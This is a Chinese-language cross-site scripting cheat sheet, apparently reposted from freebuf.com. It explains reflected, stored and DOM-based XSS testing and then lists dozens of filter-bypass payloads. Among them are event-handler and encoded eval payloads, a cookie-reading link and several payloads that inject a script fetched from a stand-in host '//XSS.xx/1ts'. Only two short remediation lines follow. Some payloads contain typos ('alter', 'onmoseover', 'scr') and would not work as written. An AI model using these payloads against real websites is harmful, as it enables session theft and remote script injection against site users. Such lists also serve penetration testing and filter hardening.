攻击
- 反射型XSS
前端 -> 后端 -> 前端
在URL中+<script>alert(1)</script>
- 一般存在在id=xxx
- 将xxx替换为<script>alert(1)</script>,观察页面是否弹出”1”
- 若成功弹出,则存在反射型xss注入漏洞
- 存储型XSS
前端 -> 后端 -> 数据库 -> 前端
输入框中的内容会存储在数据库中,然后回显在网页上
- 一般存在在留言框和页面搜索框中
- <script>alert(1)</script>
- 若成功弹出“1”,且在页面上有回显,则存在存储型XSS漏洞
- DOM型XSS
前端 HTML
输入框中的内容会出现在HTML标签中,通过构造payload,实现弹窗
例:<a href=’1’> Please check here!</a>
payload: #’oneclick=”alert(111)”>
- 一般存在搜索框中
- 查看网页源代码构造payload
- 若成功弹出“1”,且在页面上有回显,则存在DOM型XSS漏洞
bypass
<script>alert(1)</script>
- 大小写绕过
<SCRIpt>AlerT(1)</SCRipt>
- HTML标签绕过
<img scr=javascript:alter(1)></img>
<img src=# onerror=alert(1)></img>
<img src=# onmoseover=alert(1)></img>
<IMG SRC=javascript:alert("XSS")>
使用TAB绕过:
<IMG SRC=”jav ascript:alert(‘XSS’);”>
<a href=# onmouseover=alert(1)>text xss</a>
<a href=”javascript:alert(/test/)”>link</a>
<a onmouseover=”alert(document.cookie)”>xss link</a>
<iframe/onload=alert(/1/);></iframe>
<svg/onload=alert(/1/);>
<IMG “””><SCRIPT>alert(“XSS”)</SCRIPT>”>
<BODY BACKGROUND=”javascript:alert(‘XSS’)”>
<IMG LOWSRC=”javascript:alert(‘XSS’)”>
<svg/onload=alert(‘XSS’)>
- 特殊函数绕过
<keygen autofocus onfocus=s=createElement(“scriPt”);body.appendChild(s);s.src=”//XSS.xx/1ts”>
<textarea autofocus onfocus=s=createElement(“scriPt”);body.appendChild(s);s.src=”//XSS.xx/1ts”>
- 关键字替换
” onerror=alert(1) “
<BODY onload=”alert(‘XSS’)”>
<IMG SRC=”” onerror=”alert(‘XSS’)”>
- 不常见标签绕过
<details open ontoggle=prompt(1)>
<button onfocus=prompt(1) autofocus>
<select autofocus onfocus=s=createElement(“scriPt”);body.appendChild(s);s.src=”//XSS.xx/1ts”>
- 双写绕过
- ” onerror=alert(1) “
- ‐prompt(1)‐
- 编码转换
十六进制
HTML实体字符
- 引号被过滤
- 使用“/”替换单引号
- fromCharCode
fromCharCode() 可接受一个指定的 Unicode 值,然后返回一个字符串
括号中添加一个或多个unicode值
<script>alert(‘insight-labs’)</script> —–> <script>eval(String.fromCharCode(97,108,101,114,116,40,39,105,110,115,105,103,104,116,45,108,97,98,115,39,41))</script>
- hash
<script>eval(location.hash.slice(1))</script>#alert(‘a’)
- 重音符混淆绕过
<IMG SRC=javascript:alert(“RSnake says, ‘XSS'”)>
- 空格被过滤
%0a、%0b、&NewLine:含义是回车(Enter)
- 冒号被过滤
&colon
漏洞修复
- 过滤输入的非法字符
- 对输出到页面的内容进行编码的转换,HTML、JavaScript等
来源:freebuf.com 2020-08-10 16:01:22 by: Pretty
请登录后发表评论
注册